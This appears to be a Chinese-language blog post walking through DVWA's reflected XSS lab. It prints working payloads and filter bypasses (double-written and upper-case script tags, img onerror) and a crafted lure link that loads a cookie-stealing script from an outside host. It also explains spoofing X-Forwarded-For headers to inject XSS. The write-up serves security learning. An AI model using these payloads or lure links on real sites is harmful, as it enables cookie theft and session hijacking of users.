XSS(Reflected)
XSS(Reflected)
前言
前面已經對xss存儲型進行了練習,有了初步的認識
這里結合dvwa靶場對xss反射型漏洞來進行一個初步的學習
練習
Low
進入xss反射型練習,可以看到這里是我們輸入什么后,下面就會輸出Hello+我們的輸入
OK,直接來試下<script>alert(1)</script>
可以看到1成功彈出,說明存在很簡單(沒有任何防護)的xss漏洞
再試下我們的xss平臺的payload(不知道XSS平臺請看前面的xss(stored)這篇文章)
可以看到成功返回,因為這是get方式的請求
所以我們可以制造下面的鏈接,用csrf中用過的方法誘使別人去訪問從而獲得信息
http://192.168.2.123:8325/vulnerabilities/xss_r/?name=<script+src%3D"http%3A%2F%2F192.168.99.100%2Fmyjs%2Fcookie.js"><%2Fscript>#
Medium
這里和存儲型一樣也是黑名單機制,也是過濾了<script>
雙寫繞過
<scri<script>pt>
這里它要替換的是<script>所以只用在頭部雙寫就行
親測alert和xss平臺payload可行
大寫繞過
因為只替換<script>所以我們將里面任一字母大寫都能繞過…
親測alert和xss平臺payload可行
High
這里和存儲型的防護方式都是一樣的,這里嚴格限制了<script>標簽
但是img,body,iframe等標簽都還是可以用的…
可以看到用<img src=1 οnerrοr=alert(1)>作為輸入后成功彈窗
TIPS
前面在xss存儲型說的如何在img標簽中插入我們的xss平臺payload我終于找到了
參考:XSS的原理分析與解剖
上面的博客寫的真的不錯很適合入門,里面的例子自己都可以手動自己過一遍
img帶xss payload語句:
<img src=x οnerrοr=appendChild(createElement(‘script’)).src=‘js_url’ />
然后親測xss存儲型low和medium級別都沒問題,high會過濾script關鍵字還是不行…
當然反射型也一樣low和medium級別都可行,但high級別不行,期待大佬的幫助ing…
一點分享,關于客戶端ip的修改,剛好前面菜鳥級ctf時遇到過,看大佬的文章發現還有插件可以用,正好分享下
我們都知道當你瀏覽網站的時候,對方的服務器會記錄下你的IP地址。如果我們偽造IP為XSS代碼呢?這里說的修改IP為XSS不是說修改PC端的,而是在瀏覽器也就是網頁上的客戶端進行修改。
這里需要使用firefox瀏覽器和兩個附件
附件一:X-Forwarded-For Header
因為PHP獲取IP有3個函數。而X-Forwarded-For Header就是對其中一個函數X_FORWARDED_FOR起作用,X_FORWARDED_FOR有個缺陷可以使客戶端偽造任意IP,當然包括字符串,但是對其他兩個函數就不行了。
附件二:Modify Headers
Modify Headers可以偽造數據包內容,當然也可以偽造HTTP_CLIENT_IP來更改IP。
那還有一個REMOTE_ADDR獲取IP函數,這個怎么修改呢?答案是無法修改。
REMOTE_ADDR是由 nginx 傳遞給 php 的參數,所以就是當前 nginx 直接通信的客戶端的 IP ,而我們無法插手。所以一旦對方使用了REMOTE_ADDR函數來獲取IP,那就沒辦法了。不過不要緊,一共3個函數,2個函數可以偽造,我們還是有很大的成功率的
但文章中大佬用的插件在新版的火狐已經沒有了,現在的插件不支持非法ip(也就是xss)了,大佬文章中的利用X_FORWARDED_FOR的xss漏洞沒法感受了…但這個漏洞主要是會顯示你登錄ip的網站才可能存在…
總結
反射型xss,其實練習完就能感受到比起存儲型xss,利用起來要困難很多
反射型不像存儲型會存儲在網站上,當別人來訪問時就會執行,這里需要我們自己來構造鏈接誘使用戶點擊,這比起存儲型xss就明顯復雜很多,存儲xss,類似留言板我們把xss payload仍上去后不用管,只要不被刪,用戶的信息就會往我們的xss平臺上發了…
所以說反射型和存儲型在找漏洞的時候就是不一樣的,反射型就需要見框就插,這也正是前面做菜鳥級ctf題時遇到輸入框的題目沒有想到xss漏洞,當時只學習了存儲型xss所以認識就很片面…
手工的話,記住一句話“見框就插、改數據包不可見部分、改URL參數、js分析”就可以了。改數據包、js分析比較深,現在我就不再闡述了,見框就插,大家應該都明白,找到一個input輸入框,先輸入唯一字符串,然后看源代碼里有沒有出現,再輸入<>""/&()來看看過濾了哪些字符,根據過濾的字符,來構造xss
上面是大佬對反射型xss挖洞的總結,真的覺得說的很好,有種邏輯理順了的感覺
XSS的原理分析與解剖(第二篇)
參考
新手指南:DVWA-1.9全級別教程之CSRF
XSS的原理分析與解剖
XSS的原理分析與解剖(第二篇)
總結
以上是生活随笔為你收集整理的XSS(Reflected)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 一支笔的测试点_给你一支笔,如何测试
- 下一篇: 5种开发人工智能的最佳编程语言